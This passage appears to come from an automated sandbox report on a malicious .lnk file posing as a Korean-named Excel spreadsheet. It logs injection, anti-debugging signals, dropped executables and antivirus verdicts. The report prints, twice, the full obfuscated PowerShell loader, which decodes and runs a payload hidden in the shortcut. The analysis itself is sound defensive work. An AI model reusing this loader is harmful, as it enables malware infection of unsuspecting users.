NtAllocateVirtualMemory June 3, 2024, 1:24 p.m.	process_identifier: 2664 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02806000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 3, 2024, 1:24 p.m.	process_identifier: 2664 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02807000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 3, 2024, 1:24 p.m.	process_identifier: 2664 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02808000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 3, 2024, 1:24 p.m.	process_identifier: 2664 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02809000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 3, 2024, 1:24 p.m.	process_identifier: 2664 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x050e0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 3, 2024, 1:24 p.m.	process_identifier: 2664 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x050e1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 3, 2024, 1:24 p.m.	process_identifier: 2664 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x050e2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 3, 2024, 1:24 p.m.	process_identifier: 2664 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x050e3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 3, 2024, 1:24 p.m.	process_identifier: 2664 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x050e4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 3, 2024, 1:24 p.m.	process_identifier: 2664 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x050e5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 3, 2024, 1:24 p.m.	process_identifier: 2664 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x050e6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 3, 2024, 1:24 p.m.	process_identifier: 2664 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x050e7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 3, 2024, 1:24 p.m.	process_identifier: 2664 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x050e8000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 3, 2024, 1:24 p.m.	process_identifier: 2664 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x050e9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 3, 2024, 1:24 p.m.	process_identifier: 2664 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x050ea000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 3, 2024, 1:24 p.m.	process_identifier: 2664 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x050eb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 3, 2024, 1:24 p.m.	process_identifier: 2664 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x050ec000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 3, 2024, 1:24 p.m.	process_identifier: 2664 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x050ed000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 3, 2024, 1:24 p.m.	process_identifier: 2664 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x050ee000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 3, 2024, 1:24 p.m.	process_identifier: 2664 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x050ef000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 3, 2024, 1:24 p.m.	process_identifier: 2664 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x050f0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 3, 2024, 1:24 p.m.	process_identifier: 2664 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x050f1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 3, 2024, 1:24 p.m.	process_identifier: 2664 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x050f2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 3, 2024, 1:24 p.m.	process_identifier: 2664 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x050f3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 3, 2024, 1:24 p.m.	process_identifier: 2664 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x050f4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\김명희_20240515.xlsx.lnk

Creates a suspicious process (1 event)

cmdline

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -nop -NoProfile -NonInteractive -ep bypass -command $ol = 0x00000f2e; $tl = 0x0000270b; $a='JGxua3BhdGggPSBHZXQtQ2hpbGRJdGVtICoubG5rIHwgd2hlcmUtb2JqZWN0IHskXy5sZW5ndGggLWVxICR0bH0gfCBTZWxlY3QtT2JqZWN0IC1FeHBhbmRQcm9wZXJ0eSBOYW1lOyBpZigkbG5rcGF0aC5jb3VudCAtZXEgMCl7JGxua3BhdGggPSBHZXQtQ2hpbGRJdGVtICRlbnY6VEVNUFwqXCoubG5rIHwgd2hlcmUtb2JqZWN0IHskXy5sZW5ndGggLWVxICR0bH07fTskZmlsZSA9IGdjICRsbmtwYXRoIC1FbmNvZGluZyBCeXRlOyAkZmlsZVNpemUgPSAkZmlsZS5jb3VudDskaT0kb2w7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2hpbGUoJGkgLWx0ICRmaWxlU2l6ZSl7JGJYb3I9JGZpbGVbJGldOyRiUnVuPSRmaWxlWyRpKzFdOyRkd1BhdGhMZW49W2JpdGNvbnZlcnRlcl06OlRvSW50MzIoJGZpbGUsICRpKzIpOyRkd0RhdGFMZW49W2JpdGNvbnZlcnRlcl06OlRvSW50MzIoJGZpbGUsICRpKzYpOyRmaT0xMDsgICAgICAgICBmb3IoW2ludF0kcD0kaSskZmk7ICRwIC1sdCAoJGkgKyAkZmkgKyRkd1BhdGhMZW4gKyAkZHdEYXRhTGVuKTsgJHArKyl7ICRmaWxlWyRwXSA9ICRmaWxlWyRwXSAtYnhvciAkYlhvcn07W2J5dGVbXV0kcGF0aEhleCA9ICRmaWxlWygkaSskZmkpLi4oJGkrJGZpKyRkd1BhdGhMZW4tMSldOyRwYXRoID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6QVNDSUkuR2V0U3RyaW5nKCRmaWxlWygkaSskZmkpLi4oJGkrJGZpKyRkd1BhdGhMZW4tMildKTsgc2MgJHBhdGggKFtieXRlW11dKCRmaWxlIHwgc2VsZWN0IC1Ta2lwICgkaSskZmkrJGR3UGF0aExlbikgfCBzZWxlY3QgLVNraXBMYXN0ICgkZmlsZVNpemUtJGktJGZpLSRkd1BhdGhMZW4tJGR3RGF0YUxlbikpKSAtRW5jb2RpbmcgQnl0ZTtpZigkYlJ1bil7JiRwYXRoO30kaT0kaSskZmkrJGR3UGF0aExlbiskZHdEYXRhTGVuO30=';$bytes = [Convert]::FromBase64String($a);$res = -join ($bytes -as [char[]]);&('{0}{3}{1}{4}{2}'-f 'Inv','ke-','n','o','Expressio') $res

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
CreateProcessInternalW June 3, 2024, 1:24 p.m.	thread_identifier: 2668 thread_handle: 0x00000334 process_identifier: 2664 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe track: 1 command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -nop -NoProfile -NonInteractive -ep bypass -command $ol = 0x00000f2e; $tl = 0x0000270b; $a='JGxua3BhdGggPSBHZXQtQ2hpbGRJdGVtICoubG5rIHwgd2hlcmUtb2JqZWN0IHskXy5sZW5ndGggLWVxICR0bH0gfCBTZWxlY3QtT2JqZWN0IC1FeHBhbmRQcm9wZXJ0eSBOYW1lOyBpZigkbG5rcGF0aC5jb3VudCAtZXEgMCl7JGxua3BhdGggPSBHZXQtQ2hpbGRJdGVtICRlbnY6VEVNUFwqXCoubG5rIHwgd2hlcmUtb2JqZWN0IHskXy5sZW5ndGggLWVxICR0bH07fTskZmlsZSA9IGdjICRsbmtwYXRoIC1FbmNvZGluZyBCeXRlOyAkZmlsZVNpemUgPSAkZmlsZS5jb3VudDskaT0kb2w7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2hpbGUoJGkgLWx0ICRmaWxlU2l6ZSl7JGJYb3I9JGZpbGVbJGldOyRiUnVuPSRmaWxlWyRpKzFdOyRkd1BhdGhMZW49W2JpdGNvbnZlcnRlcl06OlRvSW50MzIoJGZpbGUsICRpKzIpOyRkd0RhdGFMZW49W2JpdGNvbnZlcnRlcl06OlRvSW50MzIoJGZpbGUsICRpKzYpOyRmaT0xMDsgICAgICAgICBmb3IoW2ludF0kcD0kaSskZmk7ICRwIC1sdCAoJGkgKyAkZmkgKyRkd1BhdGhMZW4gKyAkZHdEYXRhTGVuKTsgJHArKyl7ICRmaWxlWyRwXSA9ICRmaWxlWyRwXSAtYnhvciAkYlhvcn07W2J5dGVbXV0kcGF0aEhleCA9ICRmaWxlWygkaSskZmkpLi4oJGkrJGZpKyRkd1BhdGhMZW4tMSldOyRwYXRoID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6QVNDSUkuR2V0U3RyaW5nKCRmaWxlWygkaSskZmkpLi4oJGkrJGZpKyRkd1BhdGhMZW4tMildKTsgc2MgJHBhdGggKFtieXRlW11dKCRmaWxlIHwgc2VsZWN0IC1Ta2lwICgkaSskZmkrJGR3UGF0aExlbikgfCBzZWxlY3QgLVNraXBMYXN0ICgkZmlsZVNpemUtJGktJGZpLSRkd1BhdGhMZW4tJGR3RGF0YUxlbikpKSAtRW5jb2RpbmcgQnl0ZTtpZigkYlJ1bil7JiRwYXRoO30kaT0kaSskZmkrJGR3UGF0aExlbiskZHdEYXRhTGVuO30=';$bytes = [Convert]::FromBase64String($a);$res = -join ($bytes -as [char[]]);&('{0}{3}{1}{4}{2}'-f 'Inv','ke-','n','o','Expressio') $res filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe stack_pivoted: 0 creation_flags: 67634196 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_SUSPENDED\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x0000033c	1	1	0

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW June 3, 2024, 1:24 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Yara rule detected in process memory (8 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2548 resumed a thread in remote process 2664
NtResumeThread June 3, 2024, 1:24 p.m.	thread_handle: 0x00000334 suspend_count: 1 process_identifier: 2664	1	0	0

Creates a suspicious Powershell process (4 events)

option	-ep bypass	value	Attempts to bypass execution policy
option	-nop	value	Does not load current user profile
option	-windowstyle hidden	value	Attempts to execute command with a hidden window
option	-noninteractive	value	Prevents creating an interactive prompt for the user

The process powershell.exe wrote an executable file to disk (20 events)

file	C:\Windows\System32\ie4uinit.exe
file	C:\Program Files\Windows Sidebar\sidebar.exe
file	C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file	C:\Windows\System32\xpsrchvw.exe
file	C:\Windows\System32\displayswitch.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file	C:\Windows\System32\mblctr.exe
file	C:\Windows\System32\mstsc.exe
file	C:\Windows\System32\SnippingTool.exe
file	C:\Windows\System32\SoundRecorder.exe
file	C:\Windows\System32\dfrgui.exe
file	C:\Windows\System32\msinfo32.exe
file	C:\Windows\System32\rstrui.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file	C:\Program Files\Windows Journal\Journal.exe
file	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file	C:\Windows\System32\MdSched.exe
file	C:\Windows\System32\msconfig.exe
file	C:\Windows\System32\recdisc.exe
file	C:\Windows\System32\msra.exe

File has been identified by 30 AntiVirus engines on VirusTotal as malicious (30 events)

Lionic	Trojan.WinLNK.Boxter.4!c
Skyhigh	BehavesLike.Trojan.zg
ALYac	Trojan.Agent.LNK.Gen
VIPRE	Heur.BZC.YAX.Boxter.957.33A348F4
Arcabit	Heur.BZC.YAX.Boxter.957.33A348F4
Symantec	Scr.Mallnk!gen1
ESET-NOD32	LNK/Agent.ADS
TrendMicro-HouseCall	TROJ_FRS.VSNTEH24
McAfee	Artemis!0993CF18121B
Avast	Other:Malware-gen [Trj]
Kaspersky	HEUR:Trojan.Multi.Powecod.a
BitDefender	Heur.BZC.YAX.Boxter.957.33A348F4
MicroWorld-eScan	Heur.BZC.YAX.Boxter.957.33A348F4
Rising	Trojan.PSRunner/LNK!1.BADE (CLASSIC)
Emsisoft	Heur.BZC.YAX.Boxter.957.33A348F4 (B)
TrendMicro	TROJ_FRS.VSNTEH24
FireEye	Heur.BZC.YAX.Boxter.957.33A348F4
Sophos	Troj/LnkDrop-M
Ikarus	Trojan.SuspectCRC
Google	Detected
Kingsoft	Script.Troj.CMDLnk.22143
ViRobot	LNK.S.Dropper.9995
ZoneAlarm	HEUR:Trojan.Multi.Powecod.a
GData	Heur.BZC.YAX.Boxter.957.33A348F4
Varist	LNK/ABRisk.GAOO-4
AhnLab-V3	Dropper/LNK.Generic
VBA32	Trojan.Link.ShellCmd
Tencent	Win32.Trojan.Powecod.Dtgl
MAX	malware (ai score=87)
AVG	Other:Malware-gen [Trj]

김명희_20240515.xlsx.lnk

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